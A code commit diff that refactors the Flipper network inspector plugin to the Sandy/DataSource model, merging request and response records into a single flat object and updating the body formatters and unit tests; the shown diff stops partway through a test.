Convert network plugin to Sandy
Summary: converted the network plugin to use DataSource / DataTable. Restructured the storage to contain a single flat normalised object that will be much more efficient for rendering / filtering (as columns currently don't support nested keys yet, and lazy columns are a lot less flexible) lint errors and further `flipper` package usages will be cleaned up in the next diff to make sure this diff doesn't become too large. The rest of the plugin is converted in the next diff Reviewed By: nikoant Differential Revision: D27938581 fbshipit-source-id: 2e0e2ba75ef13d88304c6566d4519b121daa215b
This commit is contained in:
committed by
Facebook GitHub Bot
parent
bef1885395
commit
23402dfff6
@@ -137,6 +137,11 @@ export class DataSource<
|
|||||||
return unwrap(this._records[index]);
|
return unwrap(this._records[index]);
|
||||||
}
|
}
|
||||||
|
|
||||||
|
public has(key: KEY_TYPE) {
|
||||||
|
this.assertKeySet();
|
||||||
|
return this._recordsById.has(key);
|
||||||
|
}
|
||||||
|
|
||||||
public getById(key: KEY_TYPE) {
|
public getById(key: KEY_TYPE) {
|
||||||
this.assertKeySet();
|
this.assertKeySet();
|
||||||
return this._recordsById.get(key);
|
return this._recordsById.get(key);
|
||||||
|
|||||||
@@ -17,7 +17,7 @@ import {
|
|||||||
Panel,
|
Panel,
|
||||||
} from 'flipper';
|
} from 'flipper';
|
||||||
import React, {useContext, useState, useMemo, useEffect} from 'react';
|
import React, {useContext, useState, useMemo, useEffect} from 'react';
|
||||||
import {Route, Request, Response} from './types';
|
import {Route, Requests} from './types';
|
||||||
import {MockResponseDetails} from './MockResponseDetails';
|
import {MockResponseDetails} from './MockResponseDetails';
|
||||||
import {NetworkRouteContext} from './index';
|
import {NetworkRouteContext} from './index';
|
||||||
import {RequestId} from './types';
|
import {RequestId} from './types';
|
||||||
@@ -27,8 +27,7 @@ import {NUX, Layout} from 'flipper-plugin';
|
|||||||
type Props = {
|
type Props = {
|
||||||
routes: {[id: string]: Route};
|
routes: {[id: string]: Route};
|
||||||
highlightedRows: Set<string> | null | undefined;
|
highlightedRows: Set<string> | null | undefined;
|
||||||
requests: {[id: string]: Request};
|
requests: Requests;
|
||||||
responses: {[id: string]: Response};
|
|
||||||
};
|
};
|
||||||
|
|
||||||
const ColumnSizes = {route: 'flex'};
|
const ColumnSizes = {route: 'flex'};
|
||||||
@@ -224,7 +223,7 @@ export function ManageMockResponsePanel(props: Props) {
|
|||||||
Add Route
|
Add Route
|
||||||
</Button>
|
</Button>
|
||||||
<NUX
|
<NUX
|
||||||
title="It is now possible to highlight calls from the network call list and convert them into mock routes."
|
title="It is now possible to select calls from the network call list and convert them into mock routes."
|
||||||
placement="bottom">
|
placement="bottom">
|
||||||
<Button
|
<Button
|
||||||
onClick={() => {
|
onClick={() => {
|
||||||
@@ -232,13 +231,12 @@ export function ManageMockResponsePanel(props: Props) {
|
|||||||
!props.highlightedRows ||
|
!props.highlightedRows ||
|
||||||
props.highlightedRows.size == 0
|
props.highlightedRows.size == 0
|
||||||
) {
|
) {
|
||||||
message.info('No network calls have been highlighted');
|
message.info('No network calls have been selected');
|
||||||
return;
|
return;
|
||||||
}
|
}
|
||||||
networkRouteManager.copyHighlightedCalls(
|
networkRouteManager.copyHighlightedCalls(
|
||||||
props.highlightedRows as Set<string>,
|
props.highlightedRows as Set<string>,
|
||||||
props.requests,
|
props.requests,
|
||||||
props.responses,
|
|
||||||
);
|
);
|
||||||
}}>
|
}}>
|
||||||
Copy Highlighted Calls
|
Copy Highlighted Calls
|
||||||
|
|||||||
@@ -10,7 +10,7 @@
|
|||||||
import {Button, styled, Layout, Spacer} from 'flipper';
|
import {Button, styled, Layout, Spacer} from 'flipper';
|
||||||
|
|
||||||
import {ManageMockResponsePanel} from './ManageMockResponsePanel';
|
import {ManageMockResponsePanel} from './ManageMockResponsePanel';
|
||||||
import {Route, Request, Response} from './types';
|
import {Route, Requests} from './types';
|
||||||
import React from 'react';
|
import React from 'react';
|
||||||
|
|
||||||
import {NetworkRouteContext} from './index';
|
import {NetworkRouteContext} from './index';
|
||||||
@@ -20,8 +20,7 @@ type Props = {
|
|||||||
routes: {[id: string]: Route};
|
routes: {[id: string]: Route};
|
||||||
onHide: () => void;
|
onHide: () => void;
|
||||||
highlightedRows: Set<string> | null | undefined;
|
highlightedRows: Set<string> | null | undefined;
|
||||||
requests: {[id: string]: Request};
|
requests: Requests;
|
||||||
responses: {[id: string]: Response};
|
|
||||||
};
|
};
|
||||||
|
|
||||||
const Title = styled('div')({
|
const Title = styled('div')({
|
||||||
@@ -45,7 +44,6 @@ export function MockResponseDialog(props: Props) {
|
|||||||
routes={props.routes}
|
routes={props.routes}
|
||||||
highlightedRows={props.highlightedRows}
|
highlightedRows={props.highlightedRows}
|
||||||
requests={props.requests}
|
requests={props.requests}
|
||||||
responses={props.responses}
|
|
||||||
/>
|
/>
|
||||||
</Layout.Container>
|
</Layout.Container>
|
||||||
<Layout.Horizontal gap>
|
<Layout.Horizontal gap>
|
||||||
|
|||||||
@@ -7,7 +7,7 @@
|
|||||||
* @format
|
* @format
|
||||||
*/
|
*/
|
||||||
|
|
||||||
import {Request, Response, Header, Insights, RetryInsights} from './types';
|
import {Request, Header, Insights, RetryInsights} from './types';
|
||||||
|
|
||||||
import {
|
import {
|
||||||
Component,
|
Component,
|
||||||
@@ -55,7 +55,6 @@ const KeyValueColumns = {
|
|||||||
|
|
||||||
type RequestDetailsProps = {
|
type RequestDetailsProps = {
|
||||||
request: Request;
|
request: Request;
|
||||||
response: Response | null | undefined;
|
|
||||||
bodyFormat: string;
|
bodyFormat: string;
|
||||||
onSelectFormat: (bodyFormat: string) => void;
|
onSelectFormat: (bodyFormat: string) => void;
|
||||||
};
|
};
|
||||||
@@ -111,7 +110,7 @@ export default class RequestDetails extends Component<RequestDetailsProps> {
|
|||||||
};
|
};
|
||||||
|
|
||||||
render() {
|
render() {
|
||||||
const {request, response, bodyFormat, onSelectFormat} = this.props;
|
const {request, bodyFormat, onSelectFormat} = this.props;
|
||||||
const url = new URL(request.url);
|
const url = new URL(request.url);
|
||||||
|
|
||||||
const formattedText = bodyFormat == BodyOptions.formatted;
|
const formattedText = bodyFormat == BodyOptions.formatted;
|
||||||
@@ -143,17 +142,17 @@ export default class RequestDetails extends Component<RequestDetailsProps> {
|
|||||||
</Panel>
|
</Panel>
|
||||||
) : null}
|
) : null}
|
||||||
|
|
||||||
{request.headers.length > 0 ? (
|
{request.requestHeaders.length > 0 ? (
|
||||||
<Panel
|
<Panel
|
||||||
key="headers"
|
key="headers"
|
||||||
heading={'Request Headers'}
|
heading={'Request Headers'}
|
||||||
floating={false}
|
floating={false}
|
||||||
padded={false}>
|
padded={false}>
|
||||||
<HeaderInspector headers={request.headers} />
|
<HeaderInspector headers={request.requestHeaders} />
|
||||||
</Panel>
|
</Panel>
|
||||||
) : null}
|
) : null}
|
||||||
|
|
||||||
{request.data != null ? (
|
{request.requestData != null ? (
|
||||||
<Panel
|
<Panel
|
||||||
key="requestData"
|
key="requestData"
|
||||||
heading={'Request Body'}
|
heading={'Request Body'}
|
||||||
@@ -165,28 +164,29 @@ export default class RequestDetails extends Component<RequestDetailsProps> {
|
|||||||
/>
|
/>
|
||||||
</Panel>
|
</Panel>
|
||||||
) : null}
|
) : null}
|
||||||
{response ? (
|
{request.status ? (
|
||||||
<>
|
<>
|
||||||
{response.headers.length > 0 ? (
|
{request.responseHeaders?.length ? (
|
||||||
<Panel
|
<Panel
|
||||||
key={'responseheaders'}
|
key={'responseheaders'}
|
||||||
heading={`Response Headers${
|
heading={`Response Headers${
|
||||||
response.isMock ? ' (Mocked)' : ''
|
request.responseIsMock ? ' (Mocked)' : ''
|
||||||
}`}
|
}`}
|
||||||
floating={false}
|
floating={false}
|
||||||
padded={false}>
|
padded={false}>
|
||||||
<HeaderInspector headers={response.headers} />
|
<HeaderInspector headers={request.responseHeaders} />
|
||||||
</Panel>
|
</Panel>
|
||||||
) : null}
|
) : null}
|
||||||
<Panel
|
<Panel
|
||||||
key={'responsebody'}
|
key={'responsebody'}
|
||||||
heading={`Response Body${response.isMock ? ' (Mocked)' : ''}`}
|
heading={`Response Body${
|
||||||
|
request.responseIsMock ? ' (Mocked)' : ''
|
||||||
|
}`}
|
||||||
floating={false}
|
floating={false}
|
||||||
padded={!formattedText}>
|
padded={!formattedText}>
|
||||||
<ResponseBodyInspector
|
<ResponseBodyInspector
|
||||||
formattedText={formattedText}
|
formattedText={formattedText}
|
||||||
request={request}
|
request={request}
|
||||||
response={response}
|
|
||||||
/>
|
/>
|
||||||
</Panel>
|
</Panel>
|
||||||
</>
|
</>
|
||||||
@@ -204,13 +204,13 @@ export default class RequestDetails extends Component<RequestDetailsProps> {
|
|||||||
options={BodyOptions}
|
options={BodyOptions}
|
||||||
/>
|
/>
|
||||||
</Panel>
|
</Panel>
|
||||||
{response && response.insights ? (
|
{request.insights ? (
|
||||||
<Panel
|
<Panel
|
||||||
key="insights"
|
key="insights"
|
||||||
heading={'Insights'}
|
heading={'Insights'}
|
||||||
floating={false}
|
floating={false}
|
||||||
collapsed={true}>
|
collapsed={true}>
|
||||||
<InsightsInspector insights={response.insights} />
|
<InsightsInspector insights={request.insights} />
|
||||||
</Panel>
|
</Panel>
|
||||||
) : null}
|
) : null}
|
||||||
</RequestDetails.Container>
|
</RequestDetails.Container>
|
||||||
@@ -311,7 +311,7 @@ const BodyContainer = styled.div({
|
|||||||
|
|
||||||
type BodyFormatter = {
|
type BodyFormatter = {
|
||||||
formatRequest?: (request: Request) => any;
|
formatRequest?: (request: Request) => any;
|
||||||
formatResponse?: (request: Request, response: Response) => any;
|
formatResponse?: (request: Request) => any;
|
||||||
};
|
};
|
||||||
|
|
||||||
class RequestBodyInspector extends Component<{
|
class RequestBodyInspector extends Component<{
|
||||||
@@ -320,7 +320,7 @@ class RequestBodyInspector extends Component<{
|
|||||||
}> {
|
}> {
|
||||||
render() {
|
render() {
|
||||||
const {request, formattedText} = this.props;
|
const {request, formattedText} = this.props;
|
||||||
if (request.data == null || request.data.trim() === '') {
|
if (request.requestData == null || request.requestData.trim() === '') {
|
||||||
return <Empty />;
|
return <Empty />;
|
||||||
}
|
}
|
||||||
const bodyFormatters = formattedText ? TextBodyFormatters : BodyFormatters;
|
const bodyFormatters = formattedText ? TextBodyFormatters : BodyFormatters;
|
||||||
@@ -346,25 +346,24 @@ class RequestBodyInspector extends Component<{
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
return renderRawBody(request);
|
return renderRawBody(request, 'request');
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
class ResponseBodyInspector extends Component<{
|
class ResponseBodyInspector extends Component<{
|
||||||
response: Response;
|
|
||||||
request: Request;
|
request: Request;
|
||||||
formattedText: boolean;
|
formattedText: boolean;
|
||||||
}> {
|
}> {
|
||||||
render() {
|
render() {
|
||||||
const {request, response, formattedText} = this.props;
|
const {request, formattedText} = this.props;
|
||||||
if (response.data == null || response.data.trim() === '') {
|
if (request.responseData == null || request.responseData.trim() === '') {
|
||||||
return <Empty />;
|
return <Empty />;
|
||||||
}
|
}
|
||||||
const bodyFormatters = formattedText ? TextBodyFormatters : BodyFormatters;
|
const bodyFormatters = formattedText ? TextBodyFormatters : BodyFormatters;
|
||||||
for (const formatter of bodyFormatters) {
|
for (const formatter of bodyFormatters) {
|
||||||
if (formatter.formatResponse) {
|
if (formatter.formatResponse) {
|
||||||
try {
|
try {
|
||||||
const component = formatter.formatResponse(request, response);
|
const component = formatter.formatResponse(request);
|
||||||
if (component) {
|
if (component) {
|
||||||
return (
|
return (
|
||||||
<BodyContainer>
|
<BodyContainer>
|
||||||
@@ -383,7 +382,7 @@ class ResponseBodyInspector extends Component<{
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
return renderRawBody(response);
|
return renderRawBody(request, 'response');
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -400,9 +399,26 @@ const Empty = () => (
|
|||||||
</BodyContainer>
|
</BodyContainer>
|
||||||
);
|
);
|
||||||
|
|
||||||
function renderRawBody(container: Request | Response) {
|
function getRequestData(request: Request) {
|
||||||
|
return {
|
||||||
|
headers: request.requestHeaders,
|
||||||
|
data: request.requestData,
|
||||||
|
};
|
||||||
|
}
|
||||||
|
|
||||||
|
function getResponseData(request: Request) {
|
||||||
|
return {
|
||||||
|
headers: request.responseHeaders,
|
||||||
|
data: request.responseData,
|
||||||
|
};
|
||||||
|
}
|
||||||
|
|
||||||
|
function renderRawBody(request: Request, mode: 'request' | 'response') {
|
||||||
// TODO: we want decoding only for non-binary data! See D23403095
|
// TODO: we want decoding only for non-binary data! See D23403095
|
||||||
const decoded = decodeBody(container);
|
const data = mode === 'request' ? request.requestData : request.responseData;
|
||||||
|
const decoded = decodeBody(
|
||||||
|
mode === 'request' ? getRequestData(request) : getResponseData(request),
|
||||||
|
);
|
||||||
return (
|
return (
|
||||||
<BodyContainer>
|
<BodyContainer>
|
||||||
{decoded ? (
|
{decoded ? (
|
||||||
@@ -413,7 +429,7 @@ function renderRawBody(container: Request | Response) {
|
|||||||
<>
|
<>
|
||||||
<FormattedBy>(Failed to decode)</FormattedBy>
|
<FormattedBy>(Failed to decode)</FormattedBy>
|
||||||
<Text selectable wordWrap="break-word">
|
<Text selectable wordWrap="break-word">
|
||||||
{container.data}
|
{data}
|
||||||
</Text>
|
</Text>
|
||||||
</>
|
</>
|
||||||
)}
|
)}
|
||||||
@@ -482,20 +498,24 @@ class ImageWithSize extends Component<ImageWithSizeProps, ImageWithSizeState> {
|
|||||||
}
|
}
|
||||||
|
|
||||||
class ImageFormatter {
|
class ImageFormatter {
|
||||||
formatResponse = (request: Request, response: Response) => {
|
formatResponse(request: Request) {
|
||||||
if (getHeaderValue(response.headers, 'content-type').startsWith('image/')) {
|
if (
|
||||||
if (response.data) {
|
getHeaderValue(request.responseHeaders, 'content-type').startsWith(
|
||||||
|
'image/',
|
||||||
|
)
|
||||||
|
) {
|
||||||
|
if (request.responseData) {
|
||||||
const src = `data:${getHeaderValue(
|
const src = `data:${getHeaderValue(
|
||||||
response.headers,
|
request.responseHeaders,
|
||||||
'content-type',
|
'content-type',
|
||||||
)};base64,${response.data}`;
|
)};base64,${request.responseData}`;
|
||||||
return <ImageWithSize src={src} />;
|
return <ImageWithSize src={src} />;
|
||||||
} else {
|
} else {
|
||||||
// fallback to using the request url
|
// fallback to using the request url
|
||||||
return <ImageWithSize src={request.url} />;
|
return <ImageWithSize src={request.url} />;
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
};
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
class VideoFormatter {
|
class VideoFormatter {
|
||||||
@@ -504,8 +524,8 @@ class VideoFormatter {
|
|||||||
maxHeight: 500,
|
maxHeight: 500,
|
||||||
});
|
});
|
||||||
|
|
||||||
formatResponse = (request: Request, response: Response) => {
|
formatResponse = (request: Request) => {
|
||||||
const contentType = getHeaderValue(response.headers, 'content-type');
|
const contentType = getHeaderValue(request.responseHeaders, 'content-type');
|
||||||
if (contentType.startsWith('video/')) {
|
if (contentType.startsWith('video/')) {
|
||||||
return (
|
return (
|
||||||
<MediaContainer>
|
<MediaContainer>
|
||||||
@@ -551,21 +571,21 @@ class XMLText extends Component<{body: any}> {
|
|||||||
}
|
}
|
||||||
|
|
||||||
class JSONTextFormatter {
|
class JSONTextFormatter {
|
||||||
formatRequest = (request: Request) => {
|
formatRequest(request: Request) {
|
||||||
return this.format(
|
return this.format(
|
||||||
decodeBody(request),
|
decodeBody(getRequestData(request)),
|
||||||
getHeaderValue(request.headers, 'content-type'),
|
getHeaderValue(request.requestHeaders, 'content-type'),
|
||||||
);
|
);
|
||||||
};
|
}
|
||||||
|
|
||||||
formatResponse = (_request: Request, response: Response) => {
|
formatResponse(request: Request) {
|
||||||
return this.format(
|
return this.format(
|
||||||
decodeBody(response),
|
decodeBody(getResponseData(request)),
|
||||||
getHeaderValue(response.headers, 'content-type'),
|
getHeaderValue(request.responseHeaders, 'content-type'),
|
||||||
);
|
);
|
||||||
};
|
}
|
||||||
|
|
||||||
format = (body: string, contentType: string) => {
|
format(body: string, contentType: string) {
|
||||||
if (
|
if (
|
||||||
contentType.startsWith('application/json') ||
|
contentType.startsWith('application/json') ||
|
||||||
contentType.startsWith('application/hal+json') ||
|
contentType.startsWith('application/hal+json') ||
|
||||||
@@ -583,47 +603,47 @@ class JSONTextFormatter {
|
|||||||
.map((data, idx) => <JSONText key={idx}>{data}</JSONText>);
|
.map((data, idx) => <JSONText key={idx}>{data}</JSONText>);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
};
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
class XMLTextFormatter {
|
class XMLTextFormatter {
|
||||||
formatRequest = (request: Request) => {
|
formatRequest(request: Request) {
|
||||||
return this.format(
|
return this.format(
|
||||||
decodeBody(request),
|
decodeBody(getRequestData(request)),
|
||||||
getHeaderValue(request.headers, 'content-type'),
|
getHeaderValue(request.requestHeaders, 'content-type'),
|
||||||
);
|
);
|
||||||
};
|
}
|
||||||
|
|
||||||
formatResponse = (_request: Request, response: Response) => {
|
formatResponse(request: Request) {
|
||||||
return this.format(
|
return this.format(
|
||||||
decodeBody(response),
|
decodeBody(getResponseData(request)),
|
||||||
getHeaderValue(response.headers, 'content-type'),
|
getHeaderValue(request.responseHeaders, 'content-type'),
|
||||||
);
|
);
|
||||||
};
|
}
|
||||||
|
|
||||||
format = (body: string, contentType: string) => {
|
format(body: string, contentType: string) {
|
||||||
if (contentType.startsWith('text/html')) {
|
if (contentType.startsWith('text/html')) {
|
||||||
return <XMLText body={body} />;
|
return <XMLText body={body} />;
|
||||||
}
|
}
|
||||||
};
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
class JSONFormatter {
|
class JSONFormatter {
|
||||||
formatRequest = (request: Request) => {
|
formatRequest(request: Request) {
|
||||||
return this.format(
|
return this.format(
|
||||||
decodeBody(request),
|
decodeBody(getRequestData(request)),
|
||||||
getHeaderValue(request.headers, 'content-type'),
|
getHeaderValue(request.requestHeaders, 'content-type'),
|
||||||
);
|
);
|
||||||
};
|
}
|
||||||
|
|
||||||
formatResponse = (_request: Request, response: Response) => {
|
formatResponse(request: Request) {
|
||||||
return this.format(
|
return this.format(
|
||||||
decodeBody(response),
|
decodeBody(getResponseData(request)),
|
||||||
getHeaderValue(response.headers, 'content-type'),
|
getHeaderValue(request.responseHeaders, 'content-type'),
|
||||||
);
|
);
|
||||||
};
|
}
|
||||||
|
|
||||||
format = (body: string, contentType: string) => {
|
format(body: string, contentType: string) {
|
||||||
if (
|
if (
|
||||||
contentType.startsWith('application/json') ||
|
contentType.startsWith('application/json') ||
|
||||||
contentType.startsWith('application/hal+json') ||
|
contentType.startsWith('application/hal+json') ||
|
||||||
@@ -651,35 +671,35 @@ class JSONFormatter {
|
|||||||
);
|
);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
};
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
class LogEventFormatter {
|
class LogEventFormatter {
|
||||||
formatRequest = (request: Request) => {
|
formatRequest(request: Request) {
|
||||||
if (request.url.indexOf('logging_client_event') > 0) {
|
if (request.url.indexOf('logging_client_event') > 0) {
|
||||||
const data = querystring.parse(decodeBody(request));
|
const data = querystring.parse(decodeBody(getRequestData(request)));
|
||||||
if (typeof data.message === 'string') {
|
if (typeof data.message === 'string') {
|
||||||
data.message = JSON.parse(data.message);
|
data.message = JSON.parse(data.message);
|
||||||
}
|
}
|
||||||
return <ManagedDataInspector expandRoot={true} data={data} />;
|
return <ManagedDataInspector expandRoot={true} data={data} />;
|
||||||
}
|
}
|
||||||
};
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
class GraphQLBatchFormatter {
|
class GraphQLBatchFormatter {
|
||||||
formatRequest = (request: Request) => {
|
formatRequest(request: Request) {
|
||||||
if (request.url.indexOf('graphqlbatch') > 0) {
|
if (request.url.indexOf('graphqlbatch') > 0) {
|
||||||
const data = querystring.parse(decodeBody(request));
|
const data = querystring.parse(decodeBody(getRequestData(request)));
|
||||||
if (typeof data.queries === 'string') {
|
if (typeof data.queries === 'string') {
|
||||||
data.queries = JSON.parse(data.queries);
|
data.queries = JSON.parse(data.queries);
|
||||||
}
|
}
|
||||||
return <ManagedDataInspector expandRoot={true} data={data} />;
|
return <ManagedDataInspector expandRoot={true} data={data} />;
|
||||||
}
|
}
|
||||||
};
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
class GraphQLFormatter {
|
class GraphQLFormatter {
|
||||||
parsedServerTimeForFirstFlush = (data: any) => {
|
parsedServerTimeForFirstFlush(data: any) {
|
||||||
const firstResponse =
|
const firstResponse =
|
||||||
Array.isArray(data) && data.length > 0 ? data[0] : data;
|
Array.isArray(data) && data.length > 0 ? data[0] : data;
|
||||||
if (!firstResponse) {
|
if (!firstResponse) {
|
||||||
@@ -702,10 +722,10 @@ class GraphQLFormatter {
|
|||||||
(timeAtFlushMs - requestStartMs)}
|
(timeAtFlushMs - requestStartMs)}
|
||||||
</WrappingText>
|
</WrappingText>
|
||||||
);
|
);
|
||||||
};
|
}
|
||||||
formatRequest = (request: Request) => {
|
formatRequest(request: Request) {
|
||||||
if (request.url.indexOf('graphql') > 0) {
|
if (request.url.indexOf('graphql') > 0) {
|
||||||
const decoded = decodeBody(request);
|
const decoded = decodeBody(getRequestData(request));
|
||||||
if (!decoded) {
|
if (!decoded) {
|
||||||
return undefined;
|
return undefined;
|
||||||
}
|
}
|
||||||
@@ -718,14 +738,14 @@ class GraphQLFormatter {
|
|||||||
}
|
}
|
||||||
return <ManagedDataInspector expandRoot={true} data={data} />;
|
return <ManagedDataInspector expandRoot={true} data={data} />;
|
||||||
}
|
}
|
||||||
};
|
}
|
||||||
|
|
||||||
formatResponse = (_request: Request, response: Response) => {
|
formatResponse(request: Request) {
|
||||||
return this.format(
|
return this.format(
|
||||||
decodeBody(response),
|
decodeBody(getResponseData(request)),
|
||||||
getHeaderValue(response.headers, 'content-type'),
|
getHeaderValue(request.responseHeaders, 'content-type'),
|
||||||
);
|
);
|
||||||
};
|
}
|
||||||
|
|
||||||
format = (body: string, contentType: string) => {
|
format = (body: string, contentType: string) => {
|
||||||
if (
|
if (
|
||||||
@@ -770,9 +790,9 @@ class GraphQLFormatter {
|
|||||||
|
|
||||||
class FormUrlencodedFormatter {
|
class FormUrlencodedFormatter {
|
||||||
formatRequest = (request: Request) => {
|
formatRequest = (request: Request) => {
|
||||||
const contentType = getHeaderValue(request.headers, 'content-type');
|
const contentType = getHeaderValue(request.requestHeaders, 'content-type');
|
||||||
if (contentType.startsWith('application/x-www-form-urlencoded')) {
|
if (contentType.startsWith('application/x-www-form-urlencoded')) {
|
||||||
const decoded = decodeBody(request);
|
const decoded = decodeBody(getRequestData(request));
|
||||||
if (!decoded) {
|
if (!decoded) {
|
||||||
return undefined;
|
return undefined;
|
||||||
}
|
}
|
||||||
@@ -788,16 +808,18 @@ class FormUrlencodedFormatter {
|
|||||||
|
|
||||||
class BinaryFormatter {
|
class BinaryFormatter {
|
||||||
formatRequest(request: Request) {
|
formatRequest(request: Request) {
|
||||||
return this.format(request);
|
|
||||||
}
|
|
||||||
|
|
||||||
formatResponse(_request: Request, response: Response) {
|
|
||||||
return this.format(response);
|
|
||||||
}
|
|
||||||
|
|
||||||
format(container: Request | Response) {
|
|
||||||
if (
|
if (
|
||||||
getHeaderValue(container.headers, 'content-type') ===
|
getHeaderValue(request.requestHeaders, 'content-type') ===
|
||||||
|
'application/octet-stream'
|
||||||
|
) {
|
||||||
|
return '(binary data)'; // we could offer a download button here?
|
||||||
|
}
|
||||||
|
return undefined;
|
||||||
|
}
|
||||||
|
|
||||||
|
formatResponse(request: Request) {
|
||||||
|
if (
|
||||||
|
getHeaderValue(request.responseHeaders, 'content-type') ===
|
||||||
'application/octet-stream'
|
'application/octet-stream'
|
||||||
) {
|
) {
|
||||||
return '(binary data)'; // we could offer a download button here?
|
return '(binary data)'; // we could offer a download button here?
|
||||||
@@ -811,7 +833,7 @@ class ProtobufFormatter {
|
|||||||
|
|
||||||
formatRequest(request: Request) {
|
formatRequest(request: Request) {
|
||||||
if (
|
if (
|
||||||
getHeaderValue(request.headers, 'content-type') ===
|
getHeaderValue(request.requestHeaders, 'content-type') ===
|
||||||
'application/x-protobuf'
|
'application/x-protobuf'
|
||||||
) {
|
) {
|
||||||
const protobufDefinition = this.protobufDefinitionRepository.getRequestType(
|
const protobufDefinition = this.protobufDefinitionRepository.getRequestType(
|
||||||
@@ -827,9 +849,9 @@ class ProtobufFormatter {
|
|||||||
);
|
);
|
||||||
}
|
}
|
||||||
|
|
||||||
if (request?.data) {
|
if (request.requestData) {
|
||||||
const data = protobufDefinition.decode(
|
const data = protobufDefinition.decode(
|
||||||
Base64.toUint8Array(request.data),
|
Base64.toUint8Array(request.requestData),
|
||||||
);
|
);
|
||||||
return <JSONText>{data.toJSON()}</JSONText>;
|
return <JSONText>{data.toJSON()}</JSONText>;
|
||||||
} else {
|
} else {
|
||||||
@@ -841,9 +863,9 @@ class ProtobufFormatter {
|
|||||||
return undefined;
|
return undefined;
|
||||||
}
|
}
|
||||||
|
|
||||||
formatResponse(request: Request, response: Response) {
|
formatResponse(request: Request) {
|
||||||
if (
|
if (
|
||||||
getHeaderValue(response.headers, 'content-type') ===
|
getHeaderValue(request.responseHeaders, 'content-type') ===
|
||||||
'application/x-protobuf' ||
|
'application/x-protobuf' ||
|
||||||
request.url.endsWith('.proto')
|
request.url.endsWith('.proto')
|
||||||
) {
|
) {
|
||||||
@@ -860,9 +882,9 @@ class ProtobufFormatter {
|
|||||||
);
|
);
|
||||||
}
|
}
|
||||||
|
|
||||||
if (response?.data) {
|
if (request.responseData) {
|
||||||
const data = protobufDefinition.decode(
|
const data = protobufDefinition.decode(
|
||||||
Base64.toUint8Array(response.data),
|
Base64.toUint8Array(request.responseData),
|
||||||
);
|
);
|
||||||
return <JSONText>{data.toJSON()}</JSONText>;
|
return <JSONText>{data.toJSON()}</JSONText>;
|
||||||
} else {
|
} else {
|
||||||
|
|||||||
@@ -8,11 +8,10 @@
|
|||||||
*/
|
*/
|
||||||
|
|
||||||
import {combineBase64Chunks} from '../chunks';
|
import {combineBase64Chunks} from '../chunks';
|
||||||
import {TestUtils, createState} from 'flipper-plugin';
|
import {TestUtils} from 'flipper-plugin';
|
||||||
import * as NetworkPlugin from '../index';
|
import * as NetworkPlugin from '../index';
|
||||||
import {assembleChunksIfResponseIsComplete} from '../chunks';
|
import {assembleChunksIfResponseIsComplete} from '../chunks';
|
||||||
import path from 'path';
|
import path from 'path';
|
||||||
import {PartialResponses, Response} from '../types';
|
|
||||||
import {Base64} from 'js-base64';
|
import {Base64} from 'js-base64';
|
||||||
import * as fs from 'fs';
|
import * as fs from 'fs';
|
||||||
import {promisify} from 'util';
|
import {promisify} from 'util';
|
||||||
@@ -88,24 +87,53 @@ test('Reducer correctly adds followup chunk', () => {
|
|||||||
|
|
||||||
test('Reducer correctly combines initial response and followup chunk', () => {
|
test('Reducer correctly combines initial response and followup chunk', () => {
|
||||||
const {instance, sendEvent} = TestUtils.startPlugin(NetworkPlugin);
|
const {instance, sendEvent} = TestUtils.startPlugin(NetworkPlugin);
|
||||||
instance.partialResponses.set({
|
sendEvent('newRequest', {
|
||||||
'1': {
|
data: 'x',
|
||||||
followupChunks: {},
|
headers: [{key: 'y', value: 'z'}],
|
||||||
initialResponse: {
|
id: '1',
|
||||||
data: 'aGVs',
|
method: 'GET',
|
||||||
headers: [],
|
timestamp: 0,
|
||||||
id: '1',
|
url: 'http://test.com',
|
||||||
insights: null,
|
});
|
||||||
isMock: false,
|
sendEvent('partialResponse', {
|
||||||
reason: 'nothing',
|
data: 'aGVs',
|
||||||
status: 200,
|
headers: [],
|
||||||
timestamp: 123,
|
id: '1',
|
||||||
index: 0,
|
insights: null,
|
||||||
totalChunks: 2,
|
isMock: false,
|
||||||
},
|
reason: 'nothing',
|
||||||
},
|
status: 200,
|
||||||
|
timestamp: 123,
|
||||||
|
index: 0,
|
||||||
|
totalChunks: 2,
|
||||||
|
});
|
||||||
|
expect(instance.partialResponses.get()).toMatchInlineSnapshot(`
|
||||||
|
Object {
|
||||||
|
"1": Object {
|
||||||
|
"followupChunks": Object {},
|
||||||
|
"initialResponse": Object {
|
||||||
|
"data": "aGVs",
|
||||||
|
"headers": Array [],
|
||||||
|
"id": "1",
|
||||||
|
"index": 0,
|
||||||
|
"insights": null,
|
||||||
|
"isMock": false,
|
||||||
|
"reason": "nothing",
|
||||||
|
"status": 200,
|
||||||
|
"timestamp": 123,
|
||||||
|
"totalChunks": 2,
|
||||||
|
},
|
||||||
|
},
|
||||||
|
}
|
||||||
|
`);
|
||||||
|
expect(instance.requests.records()[0]).toMatchObject({
|
||||||
|
requestData: 'x',
|
||||||
|
requestHeaders: [{key: 'y', value: 'z'}],
|
||||||
|
id: '1',
|
||||||
|
method: 'GET',
|
||||||
|
url: 'http://test.com',
|
||||||
|
domain: 'test.com/',
|
||||||
});
|
});
|
||||||
expect(instance.responses.get()).toEqual({});
|
|
||||||
sendEvent('partialResponse', {
|
sendEvent('partialResponse', {
|
||||||
id: '1',
|
id: '1',
|
||||||
totalChunks: 2,
|
totalChunks: 2,
|
||||||
@@ -114,20 +142,27 @@ test('Reducer correctly combines initial response and followup chunk', () => {
|
|||||||
});
|
});
|
||||||
|
|
||||||
expect(instance.partialResponses.get()).toEqual({});
|
expect(instance.partialResponses.get()).toEqual({});
|
||||||
expect(instance.responses.get()['1']).toMatchInlineSnapshot(`
|
expect(instance.requests.records()[0]).toMatchObject({
|
||||||
Object {
|
domain: 'test.com/',
|
||||||
"data": "aGVsbG8=",
|
duration: 123,
|
||||||
